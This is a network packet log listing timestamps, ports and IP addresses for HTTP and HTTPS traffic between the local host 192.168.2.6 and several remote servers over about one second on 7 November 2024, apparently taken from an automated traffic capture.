Nov 7, 2024 17:25:15.640916109 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640923977 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640965939 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640965939 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.681956053 CET	443	49736	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:15.682985067 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:15.682985067 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:15.683003902 CET	443	49736	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:15.683103085 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:15.683696032 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.683727026 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.683739901 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.683787107 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.683823109 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.683901072 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.683947086 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.683953047 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.683967113 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.683986902 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.684000969 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.684056044 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.684056044 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.684243917 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.684256077 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.684309959 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.684309959 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.724617958 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.724637032 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.724795103 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.761655092 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.761694908 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.761706114 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.761725903 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.761737108 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.761748075 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.761826992 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.761874914 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.762485027 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.762499094 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.762510061 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.762523890 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.762535095 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.762546062 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.762609005 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.762744904 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.762907028 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.762918949 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.762933969 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.762969017 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.762983084 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.800353050 CET	443	49737	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.801183939 CET	49737	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.801202059 CET	443	49737	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.801744938 CET	49737	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.801750898 CET	443	49737	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.805253029 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.805277109 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.805288076 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.805356026 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.805406094 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.805689096 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.805717945 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.805731058 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.805742979 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.805751085 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.805751085 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.805800915 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.806057930 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.806070089 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.806111097 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.817003012 CET	443	49738	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.817636967 CET	49738	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.817658901 CET	443	49738	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.818084955 CET	49738	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.818090916 CET	443	49738	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.819188118 CET	443	49739	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.819474936 CET	49739	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.819483995 CET	443	49739	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.819829941 CET	49739	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.819833994 CET	443	49739	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.846508980 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.846534014 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.846544981 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.846627951 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.846678019 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.856595039 CET	443	49740	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.857239008 CET	49740	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.857274055 CET	443	49740	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.857491970 CET	49740	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.857496977 CET	443	49740	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.887715101 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.887732029 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.887743950 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.887756109 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.887768030 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.887778997 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.887840033 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.887876987 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.888205051 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.888219118 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.888231039 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.888262987 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.888281107 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.888648033 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.888659954 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.888670921 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.888722897 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.888778925 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.888804913 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.888817072 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.888828039 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.888887882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.888887882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.931272984 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.931286097 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.931298971 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.931519032 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.931902885 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.931921005 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.931931973 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.931976080 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.932001114 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.932071924 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.932082891 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.932099104 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.932136059 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.932176113 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.933020115 CET	443	49737	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.933350086 CET	443	49737	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.933408022 CET	49737	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.933449984 CET	49737	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.933465004 CET	443	49737	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.933475971 CET	49737	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.933480978 CET	443	49737	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.936721087 CET	49742	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.936773062 CET	443	49742	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.936855078 CET	49742	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.937019110 CET	49742	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.937036991 CET	443	49742	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.950007915 CET	443	49739	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.950071096 CET	443	49739	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.950254917 CET	49739	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.950287104 CET	49739	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.950293064 CET	443	49739	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.950304031 CET	49739	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.950308084 CET	443	49739	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.951168060 CET	443	49738	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.951395035 CET	443	49738	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.951462984 CET	49738	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.951581001 CET	49738	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.951598883 CET	443	49738	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.951611996 CET	49738	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.951617956 CET	443	49738	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.953413963 CET	49743	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.953453064 CET	443	49743	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.953540087 CET	49743	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.953654051 CET	49744	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.953674078 CET	49743	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.953680992 CET	443	49744	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.953687906 CET	443	49743	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.953743935 CET	49744	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.953881979 CET	49744	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.953900099 CET	443	49744	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.968209028 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.968223095 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.968233109 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.968333960 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.999861956 CET	443	49741	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.001178980 CET	49741	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.001213074 CET	443	49741	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.001699924 CET	49741	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.001704931 CET	443	49741	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.004925013 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.004992962 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005006075 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005091906 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.005135059 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005146980 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005177021 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.005182981 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005223989 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.005223989 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.005424023 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005511045 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005522013 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005532980 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005559921 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.005605936 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.005862951 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005882025 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.005893946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.006010056 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.006010056 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.006086111 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.006131887 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.006140947 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.006210089 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.006210089 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.052936077 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.052948952 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.053025007 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.053108931 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.053119898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.053131104 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.053142071 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.053164005 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.053216934 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.053853989 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.053927898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.053946972 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.053970098 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.054003954 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.054029942 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.054042101 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.054127932 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.345861912 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.345881939 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.345897913 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.345998049 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346033096 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346301079 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346424103 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346438885 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346462011 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346476078 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346585035 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346599102 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346609116 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346609116 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346615076 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346628904 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346643925 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346657038 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346664906 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346664906 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346673012 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346713066 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346749067 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346793890 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346805096 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346817017 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346894979 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346909046 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346909046 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346909046 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346924067 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346940994 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.346949100 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346977949 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.346980095 CET	443	49741	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.347044945 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347044945 CET	443	49741	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.347059011 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347121000 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347121000 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347131968 CET	49741	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.347141027 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347165108 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347178936 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347192049 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347213030 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347227097 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347232103 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347242117 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347243071 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347260952 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347284079 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347284079 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347332001 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347347975 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347363949 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347381115 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347410917 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347414970 CET	49741	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.347429037 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347441912 CET	443	49741	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.347455025 CET	49741	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.347466946 CET	443	49741	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.347528934 CET	443	49740	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.347629070 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347630024 CET	443	49740	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.347642899 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347656965 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347671986 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347687960 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347692966 CET	49740	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.347702026 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347707987 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347707987 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347717047 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347731113 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347727060 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347748041 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347762108 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347763062 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347778082 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.347783089 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347839117 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.347839117 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.348037004 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.348092079 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.348105907 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.348143101 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.348175049 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.348181009 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.348195076 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.348252058 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.348253965 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.348292112 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.348428965 CET	49740	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.348452091 CET	443	49740	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.348464966 CET	49740	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.348470926 CET	443	49740	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.350979090 CET	49745	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.351022959 CET	443	49745	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.351031065 CET	49746	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.351057053 CET	443	49746	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.351104021 CET	49745	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.351135969 CET	49746	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.351260900 CET	49745	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.351279020 CET	443	49745	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.351280928 CET	49746	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.351293087 CET	443	49746	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.376003981 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376029015 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376044035 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376089096 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376104116 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376112938 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.376166105 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.376282930 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376298904 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376318932 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376323938 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.376343012 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376363993 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.376370907 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376385927 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376395941 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.376399994 CET	80	49715	95.215.204.182	192.168.2.6
